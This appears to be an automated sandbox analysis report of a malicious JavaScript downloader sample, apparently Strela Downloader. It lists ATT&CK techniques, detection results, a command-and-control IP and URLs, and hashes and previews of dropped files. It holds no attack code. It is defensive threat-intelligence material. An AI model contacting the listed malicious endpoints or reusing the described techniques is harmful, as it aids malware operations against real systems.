Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7503204021179918537.js	5%	Virustotal		Browse
7503204021179918537.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/B	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/J	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/J	net.exe, 00000007.00000002.2195485770.000001C417BDA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3406374227.000002420B800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2206541076.000002420B680000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2195485770.000001C417BDA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195485770.000001C417BF9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195485770.000001C417BA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/B	net.exe, 00000007.00000002.2195485770.000001C417BDA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587783
Start date and time:	2025-01-10 17:57:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7503204021179918537.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 199.232.214.172, 23.209.209.135, 184.28.90.27, 2.16.168.107, 2.16.168.105, 2.23.242.162, 2.22.50.144, 2.22.50.131, 13.107.246.45, 3.219.243.226, 20.12.23.50, 104.78.188.188, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:58:22	API Interceptor	39x Sleep call for process: powershell.exe modified
11:58:29	API Interceptor	1x Sleep call for process: net.exe modified
11:58:29	API Interceptor	2x Sleep call for process: svchost.exe modified
11:58:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	21646213161445014123.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	238395810148579476.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	281511335289626058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2572722545251923438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.830729835114421
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug+:gJjJGtpTq2yv1AuNZRY3diu8iBVqFw
MD5:	FB9DD7097E14F21E5C6EC5629ACA5457
SHA1:	A216C8A48E5BD207AD5F673BD7F2C82EB8BE02C8
SHA-256:	11B68C6F119D13E2A1069A10F36E2F6C8913C57625F2623BBD3D10787179FE80
SHA-512:	2A7701733BDAB4547F41B1790FD0E300807D402E6F4E137278E63462650EFACA651496AEC2C266235CE5C3094D65466DDA9C880D64A8DF85C0B8CB49C47BD64F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x04fefd0c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585825096348291
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	A2F721DD4E58689D973AF0C43D6AE46C
SHA1:	38D8AAC5386545D7F025E2A455530E1FFDAA6EEC
SHA-256:	3302796B76DDB6EE182E132B2F715F18A168B759527DBFEF8F45CBA9BAC5B482
SHA-512:	6809F770C959CAACEAD8A0141E6F823C99A3F4DB18E8A5FA386065956836F5693F3DE136A7C94B7323F74C98E419539D9BB627E50ECFFA5FB0AA9B32AFA4D3F1
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{...:...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................<...:...}.......................:...}-..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08079623097520645
Encrypted:	false
SSDEEP:	3:HKYeMdJIpwovekGuAJkhvekl142o1vuplqllrekGltll/SPj:HKzqKtrxlm2ovSeJe3l
MD5:	7FC6320005A8C221A140CB73329EBF4B
SHA1:	D46FD7EF7573D457438C4CAAF3492C1D615216B4
SHA-256:	280536B806FD499952CB972527FFB22C82E3118C3F117CB6D3D0F3D06C0F9878
SHA-512:	660E3775D8C3967732D64FFF1EE0DE00CDD4637B4FD5A4561984E88B1E7091B962825F4A6B3A206FAA6E68749D8F01794794668DC25BDBA074205699D06B63FE
Malicious:	false
Preview:	..9......................................;...{...:...}-......{...............{.......{...XL......{.......................:...}-.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1958898179680295
Encrypted:	false
SSDEEP:	6:iO4zUs9+q2P92nKuAl9OmbnIFUtSzUieBXJZmwszUieBX9VkwO92nKuAl9OmbjLJ:7EUbv4HAahFUtiUL/4UB5LHAaSJ
MD5:	C560F6F8EF5EEB52BC6B4A0A5C8A66CC
SHA1:	879C7C6A73E9F75FEFF8011E91C7BF53BD4095F5
SHA-256:	AD5DBE1F48B7E73D446BDBB3EA437DE5E95D02037982867540394ADEE48F702E
SHA-512:	C46C014DAC326FAE533A53A62C8940F0087E04E629A8945351CF3C737B13451B90E01B66FAECAD8444C920EFB185FA962FB517C95BBDEE271E4BA306B6FE6D21
Malicious:	false
Preview:	2025/01/10-11:58:29.596 1bd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:58:29.599 1bd8 Recovering log #3.2025/01/10-11:58:29.599 1bd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1958898179680295
Encrypted:	false
SSDEEP:	6:iO4zUs9+q2P92nKuAl9OmbnIFUtSzUieBXJZmwszUieBX9VkwO92nKuAl9OmbjLJ:7EUbv4HAahFUtiUL/4UB5LHAaSJ
MD5:	C560F6F8EF5EEB52BC6B4A0A5C8A66CC
SHA1:	879C7C6A73E9F75FEFF8011E91C7BF53BD4095F5
SHA-256:	AD5DBE1F48B7E73D446BDBB3EA437DE5E95D02037982867540394ADEE48F702E
SHA-512:	C46C014DAC326FAE533A53A62C8940F0087E04E629A8945351CF3C737B13451B90E01B66FAECAD8444C920EFB185FA962FB517C95BBDEE271E4BA306B6FE6D21
Malicious:	false
Preview:	2025/01/10-11:58:29.596 1bd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:58:29.599 1bd8 Recovering log #3.2025/01/10-11:58:29.599 1bd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.166672035521835
Encrypted:	false
SSDEEP:	6:iO4zUAQ+q2P92nKuAl9Ombzo2jMGIFUtSzUR5gZmwszUR5QVkwO92nKuAl9Ombzz:7EUAQ+v4HAa8uFUtiUR5g/4UR5QV5LHA
MD5:	67FDF5D96DA49B465ACAC6EF211A22C0
SHA1:	B054DAB4CA5B9CAEFED7DC964EDD2B7ECDF5516F
SHA-256:	56F580062E6640CD9AE244487F7F3C6AF19F963889A614C782EC617D052465FC
SHA-512:	1783BC99CF9CF8E0EB527C12F31B1957079BB71CC43B6A8E030B2A9F37484A28718AD99282F547082EEAF677CE7F7B420D32E866F13D46340D3160E3CE9637F8
Malicious:	false
Preview:	2025/01/10-11:58:29.626 c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:58:29.627 c2c Recovering log #3.2025/01/10-11:58:29.627 c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.166672035521835
Encrypted:	false
SSDEEP:	6:iO4zUAQ+q2P92nKuAl9Ombzo2jMGIFUtSzUR5gZmwszUR5QVkwO92nKuAl9Ombzz:7EUAQ+v4HAa8uFUtiUR5g/4UR5QV5LHA
MD5:	67FDF5D96DA49B465ACAC6EF211A22C0
SHA1:	B054DAB4CA5B9CAEFED7DC964EDD2B7ECDF5516F
SHA-256:	56F580062E6640CD9AE244487F7F3C6AF19F963889A614C782EC617D052465FC
SHA-512:	1783BC99CF9CF8E0EB527C12F31B1957079BB71CC43B6A8E030B2A9F37484A28718AD99282F547082EEAF677CE7F7B420D32E866F13D46340D3160E3CE9637F8
Malicious:	false
Preview:	2025/01/10-11:58:29.626 c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:58:29.627 c2c Recovering log #3.2025/01/10-11:58:29.627 c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9dfeef64-f138-4af3-80cf-904a7ba6a07f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.046572402577437
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpQhsBdOg2H6caq3QYiubxnP7E4T3OF+:Y2sRdslydMH13QYhbxP7nbI+
MD5:	167B28E0E230EAA0A48DBC786BF30CDE
SHA1:	D037810917274022CDBC973FB93F6B301CD1A432
SHA-256:	8379157C657E028F2CB1F4F02FD98D1E7695F4B7FF24FAF1D0A0D4BE53590D6D
SHA-512:	6F06EBFED3C6C2F773FE8696D65EF4E6395C62DBE604977D289F03E96C74BF95297BC3719306CA6F255CB6E22CCB628158C0F8B22109567D01CF20334A7E9CA5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088321317386","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135100},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.046572402577437
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpQhsBdOg2H6caq3QYiubxnP7E4T3OF+:Y2sRdslydMH13QYhbxP7nbI+
MD5:	167B28E0E230EAA0A48DBC786BF30CDE
SHA1:	D037810917274022CDBC973FB93F6B301CD1A432
SHA-256:	8379157C657E028F2CB1F4F02FD98D1E7695F4B7FF24FAF1D0A0D4BE53590D6D
SHA-512:	6F06EBFED3C6C2F773FE8696D65EF4E6395C62DBE604977D289F03E96C74BF95297BC3719306CA6F255CB6E22CCB628158C0F8B22109567D01CF20334A7E9CA5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088321317386","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135100},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235929749524166
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUVtd+Y:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLY
MD5:	E53D08A6D905148FFC8D99137EE4E616
SHA1:	418F5BAF1D2D68CE3AEAE8A621F7F8AB8AFB9137
SHA-256:	4812C80C558EC610D7008FD4F357E1D4BF19992ECB92B06999A8EC8E87917DF0
SHA-512:	040FA5536836AE9F8A59D9251692664900B060F83C3E33CB453987BA9B4A1FBAD4BED421BE8004376AB95D5340BE353B8E4733F16EA223B34E213AF01F44CCBB
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.115520964254626
Encrypted:	false
SSDEEP:	6:iO4zdQ+q2P92nKuAl9OmbzNMxIFUtSzagZmwszvQVkwO92nKuAl9OmbzNMFLJ:7EdQ+v4HAa8jFUtiag/4vQV5LHAa84J
MD5:	CBE99BAB24DEB08618F768EC48A2CA15
SHA1:	C225F61BEA443F1CD33ECEBA5AD6AE9F91C779D2
SHA-256:	885256D2AAA3BE6CEFE1E94F8BD52AA00B3799F42679E311726ABCE45520E427
SHA-512:	788366E6B0A102ADB93BC88F94542EFC800EAA1541AAB18DD965D0B86E63C6DC1CE77FF05D5846CBB60FB4AFFBBECB67D2F28E299B4EEE5AE62F7835C8420EAC
Malicious:	false
Preview:	2025/01/10-11:58:30.512 c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:58:30.513 c2c Recovering log #3.2025/01/10-11:58:30.514 c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.115520964254626
Encrypted:	false
SSDEEP:	6:iO4zdQ+q2P92nKuAl9OmbzNMxIFUtSzagZmwszvQVkwO92nKuAl9OmbzNMFLJ:7EdQ+v4HAa8jFUtiag/4vQV5LHAa84J
MD5:	CBE99BAB24DEB08618F768EC48A2CA15
SHA1:	C225F61BEA443F1CD33ECEBA5AD6AE9F91C779D2
SHA-256:	885256D2AAA3BE6CEFE1E94F8BD52AA00B3799F42679E311726ABCE45520E427
SHA-512:	788366E6B0A102ADB93BC88F94542EFC800EAA1541AAB18DD965D0B86E63C6DC1CE77FF05D5846CBB60FB4AFFBBECB67D2F28E299B4EEE5AE62F7835C8420EAC
Malicious:	false
Preview:	2025/01/10-11:58:30.512 c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:58:30.513 c2c Recovering log #3.2025/01/10-11:58:30.514 c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
